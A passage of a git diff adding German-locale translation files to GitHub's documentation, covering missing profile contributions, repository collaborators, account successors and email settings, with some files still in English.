+If you use {% ifversion fpt or ghec %}{% data variables.product.prodname_ghe_server %}{% ifversion ghae %} or {% data variables.product.prodname_ghe_managed %}{% endif %}{% else %}{% data variables.product.product_name %}{% endif %} and your enterprise owner enables {% data variables.enterprise.prodname_unified_contributions %}, you can send enterprise contribution counts from to your {% data variables.product.prodname_dotcom_the_website %} profile. For more information, see "[Sending enterprise contributions to your {% data variables.product.prodname_dotcom_the_website %} profile](/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile)."
+
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md
new file mode 100644
index 0000000000..7388c999d9
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile.md
@@ -0,0 +1,108 @@
+---
+title: Warum werden meine Beiträge nicht in meinem Profil angezeigt?
+intro: 'Hier lernst du häufige Gründe kennen, aus denen Beiträge in deinem Beitragsdiagramm fehlen.'
+redirect_from:
+  - /articles/why-are-my-contributions-not-showing-up-on-my-profile
+  - /github/setting-up-and-managing-your-github-profile/why-are-my-contributions-not-showing-up-on-my-profile
+  - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile
+  - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/why-are-my-contributions-not-showing-up-on-my-profile
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Profiles
+shortTitle: Missing contributions
+ms.openlocfilehash: f3480b1b4f2857a144ad8e264e0d8b78196b1a3e
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107045'
+---
+## Informationen zu deinem Beitragsdiagramm
+
+Dein Profilbeitragsdiagramm ist eine Aufzeichnung deiner Beiträge zu Repositorys {% ifversion ghae %}im Besitz von {% else %}auf{% endif %} {% data variables.location.product_location %}. Beiträge werden nicht entsprechend deiner lokalen Zeitzone, sondern entsprechend der UTC-Zone (Coordinated Universal Time, koordinierte Weltzeit) mit Zeitstempeln versehen. Beiträge werden nur gezählt, falls sie bestimmte Kriterien erfüllen. In manchen Fällen muss dein Diagramm allenfalls neu erstellt werden, damit die Beiträge angezeigt werden.
+
+Wenn du einer Organisation angehörst, die einmaliges Anmelden (Single Sign-On, SSO) mit SAML verwendet, werden dir in deinem Profil keine Beitragsaktivitäten aus der Organisation angezeigt, wenn du über keine aktive SSO-Sitzung verfügst. Personen, die sich dein Profil außerhalb deiner Organisation ansehen, werden anonymisierte Beitragsaktivitäten für deine Organisation angezeigt.
+
+## Gezählte Beiträge
+
+### Issues, Pull Requests und Diskussionen
+
+Issues, Pull Requests und Diskussionen werden in deinem Beteiligungsdiagramm angezeigt, sofern sie in einem eigenständigen Repository und nicht in einem Fork geöffnet wurden.
+
+### Commits
+Commits werden in deinem Beteiligungsdiagramm angezeigt, sofern sie **alle** folgenden Bedingungen erfüllen:
+- Die für die Commits verwendete E-Mail-Adresse ist deinem Konto auf {% data variables.location.product_location %} zugeordnet.
+- Die Commits wurden in einem eigenständigen Repository vorgenommen und nicht in einem Fork.
+- Die Commits wurden
+  - im Standardbranch des Repositorys vorgenommen.
+  - im Branch `gh-pages` vorgenommen (für Repositorys mit Projektwebsites).
+
+Weitere Informationen zu Projektwebsites findest du unter [Informationen zu {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites).
+
+Darüber hinaus muss **mindestens eine** der folgenden Bedingungen erfüllt sein:
+- Du bist ein Repository-Mitarbeiter oder ein Mitglied der Organisation, welcher das Repository gehört.
+- Du hast das Repository geforkt.
+- Du hast einen Pull Request oder Issue im Repository geöffnet.
+- Du hast das Repository mit Sternen versehen.
+
+## Allgemeine Ursachen für nicht gezählte Beiträge
+
+{% data reusables.pull_requests.pull_request_merges_and_contributions %}
+
+### Die Commit-Erstellung liegt weniger als 24 Stunden zurück
+
+Nachdem du einen Commit erstellt hast, der die Anforderung erfüllt, um als Beitrag gezählt zu werden, kann es bis zu 24 Stunden dauern, bis der Beitrag in deinem Beteiligungsdiagramm angezeigt wird.
+
+### Deine lokale Git-Commit-E-Mail-Adresse ist nicht mit deinem Konto verknüpft.
+
+Damit Commits in deinem Beitragsdiagramm angezeigt werden, müssen sie mit einer E-Mail-Adresse vorgenommen werden, die mit deinem Konto auf {% data variables.location.product_location %} verknüpft ist{% ifversion fpt or ghec %}, oder unter Verwendung der von {% data variables.product.prodname_dotcom %} angegebenen `noreply`-E-Mail-Adresse aus deinen E-Mail-Einstellungen{% endif %}.{% ifversion fpt or ghec %} Weitere Informationen zu `noreply`-E-Mail-Adressen findest du unter [Festlegen der E-Mail-Adresse für Commits](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#about-commit-email-addresses).{% endif %}
+
+Du kannst die für einen Commit verwendete E-Mail-Adresse überprüfen, indem du `.patch` ans Ende einer Commit-URL anhängst, z. B. <a href="https://github.com/octocat/octocat.github.io/commit/67c0afc1da354d8571f51b6f0af8f2794117fd10.patch" data-proofer-ignore>https://github.com/octocat/octocat.github.io/commit/67c0afc1da354d8571f51b6f0af8f2794117fd10.patch</a>:
+
+```
+From 67c0afc1da354d8571f51b6f0af8f2794117fd10 Mon Sep 17 00:00:00 2001
+From: The Octocat <octocat@nowhere.com>
+Date: Sun, 27 Apr 2014 15:36:39 +0530
+Subject: [PATCH] updated index for better welcome message
+```
+
+Die E-Mail-Adresse im Feld `From:` ist die Adresse, die in den [Einstellungen für die lokale Git-Konfiguration](/articles/set-up-git) festgelegt wurde. In diesem Beispiel wurde für den Commit die E-Mail-Adresse `octocat@nowhere.com` verwendet.
+
+Wenn die für den Commit verwendete E-Mail-Adresse nicht mit deinem Konto auf {% data variables.location.product_location %} verknüpft ist, {% ifversion ghae %}ändere die E-Mail-Adresse, die beim Erstellen von Commits in Git verwendet wird. Weitere Informationen findest du unter [E-Mail-Adresse für Commits festlegen](/github/setting-up-and-managing-your-github-user-account/setting-your-commit-email-address#setting-your-commit-email-address-in-git).{% else %}musst du deinem Konto auf {% data variables.location.product_location %} [die E-Mail-Adresse hinzufügen](/articles/adding-an-email-address-to-your-github-account). Beim Hinzufügen der neuen Adresse wird dein Beteiligungsdiagramm automatisch neu erstellt.{% endif %}
+
+{% ifversion fpt or ghec %} {% note %}
+
+**Hinweis**: Wenn du einen {% data variables.enterprise.prodname_managed_user %} verwendest, kannst du dem Konto keine weiteren E-Mail-Adressen hinzufügen. Dies gilt selbst dann, wenn mehrere E-Mail-Adressen bei deinem Identitätsanbieter (IdP) registriert sind. Daher können deinem {% data variables.enterprise.prodname_managed_user %} nur Commits zugeordnet werden, die über die primäre E-Mail-Adresse erstellt wurden, die bei deinem IdP registriert ist.
+
+{% endnote %} {% endif %}
+
+Generische E-Mail-Adressen (beispielsweise `jane@computer.local`) können nicht zu {% data variables.product.prodname_dotcom %}-Konten hinzugefügt und mit Commits verknüpft werden. Wenn du Commits mit einer generischen E-Mail-Adresse erstellt hast, werden die Commits nicht mit deinem {% data variables.product.prodname_dotcom %}-Profil verknüpft und erscheinen nicht in deinem Beitragsdiagramm.
+
+### Der Commit wurde weder im Standardbranch noch im Branch `gh-pages` vorgenommen.
+
+Commits werden nur berücksichtigt, wenn sie im Standardbranch oder im Branch `gh-pages` (für Repositorys mit Projektwebsites) vorgenommen wurden. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages#types-of-github-pages-sites).
+
+Falls deine Commits in einem Branch vorgenommen wurden, bei dem es sich nicht um den Standardbranch und nicht um den Branch `gh-pages` handelt, und die Commits in deinen Beiträgen berücksichtigt werden sollen, ist eine der folgenden Aktionen erforderlich:
+- [Erstelle einen Pull Request](/articles/creating-a-pull-request), damit deine Änderungen mit dem Standardbranch oder mit dem Branch `gh-pages` zusammengeführt werden.
+- [Ändere den Standardbranch](/github/administering-a-repository/changing-the-default-branch) des Repositorys.
+
+{% warning %}
+
+**Warnung:** Wenn du den Standardbranch des Repositorys änderst, wird er für alle Repository-Mitarbeiter geändert. Führe diese Aktion nur dann aus, wenn du willst, dass der neue Branch zur neuen Basis wird, auf der alle künftigen Pull Requests und Commits durchgeführt werden.
+
+{% endwarning %}
+
+### Commit wurde in einem Fork durchgeführt
+
+Die in einem Fork durchgeführten Commits werden nicht auf deine Beiträge angerechnet. Führe eine der folgenden Aktionen durch, damit sie angerechnet werden:
+- [Erstelle einen Pull Request](/articles/creating-a-pull-request), damit deine Änderungen mit dem übergeordneten Repository zusammengeführt werden.
+- Falls du den Fork abtrennen und in ein eigenständiges Repository auf {% data variables.location.product_location %} umwandeln möchtest, wende dich an den {% data variables.contact.contact_support %}. Wenn der Fork über eigene Forks verfügt, musst du {% data variables.contact.contact_support %} mitteilen, ob die Forks zusammen mit deinem Repository in ein neues Netzwerk verschoben werden oder im aktuellen Netzwerk verbleiben sollen. Weitere Informationen findest du unter [Informationen zu Forks](/articles/about-forks/).
+
+## Weitere Informationsquellen
+
+- [Private Beiträge in deinem Profil veröffentlichen oder verbergen](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)
+- [Beiträge auf deiner Profilseite anzeigen](/articles/viewing-contributions-on-your-profile-page)
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/index.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/index.md
new file mode 100644
index 0000000000..eceb68eb26
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/index.md
@@ -0,0 +1,29 @@
+---
+title: Einrichten und Verwalten deines persönlichen Kontos auf GitHub
+intro: 'Du kannst die Einstellungen für dein persönliches Konto auf {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} verwalten, einschließlich E-Mail-Einstellungen, Zugang zu persönlichen Repositorys und Organisationsmitgliedschaften. Du kannst das Konto auch selbst verwalten.'
+shortTitle: Personal accounts
+redirect_from:
+  - /categories/setting-up-and-managing-your-github-user-account
+  - /github/setting-up-and-managing-your-github-user-account
+  - /account-and-profile/setting-up-and-managing-your-github-user-account
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+children:
+  - /managing-personal-account-settings
+  - /managing-your-personal-account
+  - /managing-email-preferences
+  - /managing-access-to-your-personal-repositories
+  - /managing-your-membership-in-organizations
+ms.openlocfilehash: b3c8007f37b9c61650f96a51e805024dd10a853f
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148106685'
+---
+
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/index.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/index.md
new file mode 100644
index 0000000000..a01d3b3b6d
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/index.md
@@ -0,0 +1,32 @@
+---
+title: Zugriff auf Ihre persönlichen Repositorys verwalten
+intro: Du kannst anderen Personen Zugriff als Mitarbeiter auf Repositorys deines persönlichen Kontos gewähren.
+redirect_from:
+  - /categories/101/articles
+  - /categories/managing-repository-collaborators
+  - /articles/managing-access-to-your-personal-repositories
+  - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories
+product: '{% data reusables.gated-features.user-repo-collaborators %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+  - Repositories
+children:
+  - /inviting-collaborators-to-a-personal-repository
+  - /removing-a-collaborator-from-a-personal-repository
+  - /removing-yourself-from-a-collaborators-repository
+  - /maintaining-ownership-continuity-of-your-personal-accounts-repositories
+shortTitle: Access to your repositories
+ms.openlocfilehash: 98b504beea02ce0dfb73ebe2db34fea498c75776
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145164927'
+---
+
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md
new file mode 100644
index 0000000000..cd599dfdc0
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository.md
@@ -0,0 +1,67 @@
+---
+title: Inviting collaborators to a personal repository
+intro: 'You can {% ifversion fpt or ghec %}invite users to become{% else %}add users as{% endif %} collaborators to your personal repository.'
+redirect_from:
+  - /articles/how-do-i-add-a-collaborator
+  - /articles/adding-collaborators-to-a-personal-repository
+  - /articles/inviting-collaborators-to-a-personal-repository
+  - /github/setting-up-and-managing-your-github-user-account/inviting-collaborators-to-a-personal-repository
+  - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/inviting-collaborators-to-a-personal-repository
+product: '{% data reusables.gated-features.user-repo-collaborators %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+  - Repositories
+shortTitle: Invite collaborators
+---
+Repositories owned by an organization can grant more granular access. For more information, see "[Access permissions on {% data variables.product.prodname_dotcom %}](/articles/access-permissions-on-github)."
+
+{% data reusables.organizations.org-invite-expiration %}
+
+{% ifversion fpt or ghec %}
+
+If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you can only invite other members of your enterprise to collaborate with you. {% data reusables.enterprise-accounts.emu-more-info-account %}
+
+{% note %}
+
+**Note:** {% data variables.product.company_short %} limits the number of people who can be invited to a repository within a 24-hour period. If you exceed this limit, either wait 24 hours or create an organization to collaborate with more people.
+
+{% endnote %}
+
+{% endif %}
+
+1. Ask for the username of the person you're inviting as a collaborator.{% ifversion fpt or ghec %} If they don't have a username yet, they can sign up for {% data variables.product.prodname_dotcom %} For more information, see "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/articles/signing-up-for-a-new-github-account)".{% endif %}
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4%}
+{% data reusables.repositories.click-collaborators-teams %}
+1. Click **Invite a collaborator**.
+  !["Invite a collaborator" button](/assets/images/help/repository/invite-a-collaborator-button.png)
+2. In the search field, start typing the name of person you want to invite, then click a name in the list of matches.
+  ![Search field for typing the name of a person to invite to the repository](/assets/images/help/repository/manage-access-invite-search-field-user.png)
+3. Click **Add NAME to REPOSITORY**.
+    ![Button to add collaborator](/assets/images/help/repository/add-collaborator-user-repo.png)
+{% else %}
+5. In the left sidebar, click **Collaborators**.
+![Repository settings sidebar with Collaborators highlighted](/assets/images/help/repository/user-account-repo-settings-collaborators.png)
+6. Under "Collaborators", start typing the collaborator's username.
+7. Select the collaborator's username from the drop-down menu.
+   ![Collaborator list drop-down menu](/assets/images/help/repository/repo-settings-collab-autofill.png)
+8. Click **Add collaborator**.
+   !["Add collaborator" button](/assets/images/help/repository/repo-settings-collab-add.png)
+{% endif %}
+{% ifversion fpt or ghec %}
+9. The user will receive an email inviting them to the repository. Once they accept your invitation, they will have collaborator access to your repository.
+{% endif %}
+
+## Further reading
+
+- "[Permission levels for a personal account repository](/articles/permission-levels-for-a-user-account-repository/#collaborator-access-for-a-repository-owned-by-a-personal-account)"
+- "[Removing a collaborator from a personal repository](/articles/removing-a-collaborator-from-a-personal-repository)"
+- "[Removing yourself from a collaborator's repository](/articles/removing-yourself-from-a-collaborator-s-repository)"
+- "[Organizing members into teams](/organizations/organizing-members-into-teams)"
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-personal-accounts-repositories.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-personal-accounts-repositories.md
new file mode 100644
index 0000000000..cc2254d5f3
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-personal-accounts-repositories.md
@@ -0,0 +1,40 @@
+---
+title: Maintaining ownership continuity of your personal account's repositories
+intro: You can invite someone to manage your user owned repositories if you are not able to.
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Accounts
+  - Repositories
+redirect_from:
+  - /github/setting-up-and-managing-your-github-user-account/maintaining-ownership-continuity-of-your-user-accounts-repositories
+  - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/maintaining-ownership-continuity-of-your-user-accounts-repositories
+shortTitle: Ownership continuity
+---
+## About successors
+
+We recommend inviting another {% data variables.product.company_short %} user to be your successor, to manage your user owned repositories if you cannot. As a successor, they will have permission to:
+
+- Archive your public repositories.
+- Transfer your public repositories to their own user owned account.
+- Transfer your public repositories to an organization where they can create repositories.
+
+Successors cannot log into your account.
+
+An appointed successor can manage your public repositories after presenting a death certificate then waiting for 7 days or presenting an obituary then waiting for 21 days. For more information, see "[{% data variables.product.company_short %} Deceased User Policy](/free-pro-team@latest/github/site-policy/github-deceased-user-policy)."
+
+To request access to manage repositories as a successor, contact [GitHub Support](https://support.github.com/contact?tags=docs-accounts).
+
+## Inviting a successor
+The person you invite to be your successor must have a {% data variables.product.company_short %} account.
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.account_settings %}
+3. Under "Successor settings", to invite a successor, begin typing a username, full name, or email address, then click their name when it appears.
+   ![Successor invitation search field](/assets/images/help/settings/settings-invite-successor-search-field.png)
+4. Click **Add successor**.
+{% data reusables.user-settings.sudo-mode-popup %}
+6. The user you've invited will be listed as "Pending" until they agree to become your successor.
+   ![Pending successor invitation](/assets/images/help/settings/settings-pending-successor.png)
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md
new file mode 100644
index 0000000000..e194eea8cd
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository.md
@@ -0,0 +1,47 @@
+---
+title: Removing a collaborator from a personal repository
+intro: 'When you remove a collaborator from your project, they lose read/write access to your repository. If the repository is private and the person has created a fork, then that fork is also deleted.'
+redirect_from:
+  - /articles/how-do-i-remove-a-collaborator
+  - /articles/what-happens-when-i-remove-a-collaborator-from-my-private-repository
+  - /articles/removing-a-collaborator-from-a-private-repository
+  - /articles/deleting-a-private-fork-of-a-private-user-repository
+  - /articles/how-do-i-delete-a-fork-of-my-private-repository
+  - /articles/removing-a-collaborator-from-a-personal-repository
+  - /github/setting-up-and-managing-your-github-user-account/removing-a-collaborator-from-a-personal-repository
+  - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-a-collaborator-from-a-personal-repository
+product: '{% data reusables.gated-features.user-repo-collaborators %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+  - Repositories
+shortTitle: Remove a collaborator
+---
+## Deleting forks of private repositories
+
+While forks of private repositories are deleted when a collaborator is removed, the person will still retain any local clones of your repository.
+
+## Removing collaborator permissions from a person contributing to a repository
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+{% data reusables.repositories.click-collaborators-teams %}
+4. To the right of the collaborator you want to remove, click {% octicon "trash" aria-label="The trash icon" %}.
+  ![Button to remove collaborator](/assets/images/help/repository/collaborator-remove.png)
+{% else %}
+3. In the left sidebar, click **Collaborators & teams**.
+  ![Collaborators tab](/assets/images/help/repository/repo-settings-collaborators.png)
+4. Next to the collaborator you want to remove, click the **X** icon.
+  ![Remove link](/assets/images/help/organizations/Collaborator-Remove.png)
+{% endif %}
+
+## Further reading
+
+- "[Removing organization members from a team](/articles/removing-organization-members-from-a-team)"
+- "[Removing an outside collaborator from an organization repository](/articles/removing-an-outside-collaborator-from-an-organization-repository)"
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md
new file mode 100644
index 0000000000..8e297db83f
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository.md
@@ -0,0 +1,33 @@
+---
+title: Removing yourself from a collaborator's repository
+intro: 'If you no longer want to be a collaborator on someone else''s repository, you can remove yourself.'
+redirect_from:
+  - /leave-a-collaborative-repo
+  - /leave-a-repo
+  - /articles/removing-yourself-from-a-collaborator-s-repo
+  - /articles/removing-yourself-from-a-collaborator-s-repository
+  - /articles/removing-yourself-from-a-collaborators-repository
+  - /github/setting-up-and-managing-your-github-user-account/removing-yourself-from-a-collaborators-repository
+  - /github/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-access-to-your-personal-repositories/removing-yourself-from-a-collaborators-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+  - Repositories
+shortTitle: Remove yourself
+---
+{% data reusables.user-settings.access_settings %}
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+2. In the "Code, planning, and automation" section of the sidebar, click **{% octicon "repo" aria-label="The repo icon" %} Repositories**.
+{% else %}
+2. In the left sidebar, click **Repositories**.
+  ![Repositories tab](/assets/images/help/settings/settings-sidebar-repositories.png)
+{% endif %}
+3. Next to the repository you want to leave, click **Leave**.
+  ![Leave button](/assets/images/help/repository/repo-leave.png)
+4. Read the warning carefully, then click "I understand, leave this repository."
+  ![Dialog box warning you to leave](/assets/images/help/repository/repo-leave-confirmation.png)
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account.md
new file mode 100644
index 0000000000..0d8d4fd6b1
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account.md
@@ -0,0 +1,37 @@
+---
+title: Adding an email address to your GitHub account
+intro: '{% data variables.product.product_name %} allows you to add as many email addresses to your account as you like. If you set an email address in your local Git configuration, you will need to add it to your account settings in order to connect your commits to your account. For more information about your email address and commits, see "[Setting your commit email address](/articles/setting-your-commit-email-address/)."'
+redirect_from:
+  - /articles/adding-an-email-address-to-your-github-account
+  - /github/setting-up-and-managing-your-github-user-account/adding-an-email-address-to-your-github-account
+  - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/adding-an-email-address-to-your-github-account
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Accounts
+  - Notifications
+shortTitle: Add an email address
+---
+{% ifversion fpt or ghec %}
+
+{% note %}
+
+**Notes**: 
+  - {% data reusables.user-settings.no-verification-disposable-emails %}
+  -  If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you cannot make changes to your email address on {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise-accounts.emu-more-info-account %}
+
+{% endnote %}
+
+{% endif %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.emails %}
+{% data reusables.user-settings.add_and_verify_email %}
+{% data reusables.user-settings.select_primary_email %}
+
+## Further reading
+
+- "[Managing email preferences](/articles/managing-email-preferences/)"
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address.md
new file mode 100644
index 0000000000..b7e112578d
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address.md
@@ -0,0 +1,29 @@
+---
+title: Blocking command line pushes that expose your personal email address
+intro: 'If you''ve chosen to keep your email address private when performing web-based operations, you can also choose to block command line pushes that may expose your personal email address.'
+redirect_from:
+  - /articles/blocking-command-line-pushes-that-expose-your-personal-email-address
+  - /github/setting-up-and-managing-your-github-user-account/blocking-command-line-pushes-that-expose-your-personal-email-address
+  - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/blocking-command-line-pushes-that-expose-your-personal-email-address
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Accounts
+  - Notifications
+shortTitle: Block push with personal email
+---
+When you push commits from the command line, the email address that you've [set in Git](/articles/setting-your-commit-email-address) is associated with your commits. If you enable this setting, each time you push to GitHub, we’ll check the most recent commit. If the author email on that commit is a private email on your GitHub account, we will block the push and warn you about exposing your private email.
+
+{% data reusables.user-settings.about-commit-email-addresses %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.emails %}
+{% data reusables.user-settings.keeping_your_email_address_private %}
+4. To keep your email address private in commits you push from the command line, select **Block command line pushes that expose my email**.
+![Option to block command line pushes that expose your emails](/assets/images/help/settings/email_privacy_block_command_line_pushes.png)
+
+## Further reading
+
+- "[Setting your commit email address](/articles/setting-your-commit-email-address)"
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address.md
new file mode 100644
index 0000000000..de0e77b85f
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/changing-your-primary-email-address.md
@@ -0,0 +1,33 @@
+---
+title: Changing your primary email address
+intro: You can change the email address associated with your personal account at any time.
+redirect_from:
+  - /articles/changing-your-primary-email-address
+  - /github/setting-up-and-managing-your-github-user-account/changing-your-primary-email-address
+  - /github/setting-up-and-managing-your-github-user-account/managing-email-preferences/changing-your-primary-email-address
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-email-preferences/changing-your-primary-email-address
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Accounts
+  - Notifications
+shortTitle: Primary email address
+---
+{% note %}
+
+**Note:** You cannot change your primary email address to an email that is already set to be your backup email address.
+
+{% endnote %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.emails %}
+3. If you'd like to add a new email address to set as your primary email address, under "Add email address", type a new email address and click **Add**.
+   ![Add another email address button](/assets/images/help/settings/add_another_email_address.png)
+4. Under "Primary email address", use the drop-down menu to click the email address you'd like to set as your primary email address, and click **Save**.
+   ![Set as primary button](/assets/images/help/settings/set_as_primary_email.png)
+5. To remove the old email address from your account, next to the old email, click {% octicon "trash" aria-label="The trash symbol" %}.
+{% ifversion fpt or ghec %}
+6. Verify your new primary email address. Without a verified email address, you won't be able to use all of {% data variables.product.product_name %}'s features. For more information, see "[Verifying your email address](/articles/verifying-your-email-address)."
+{% endif %}
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/index.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/index.md
new file mode 100644
index 0000000000..a45d2f7f77
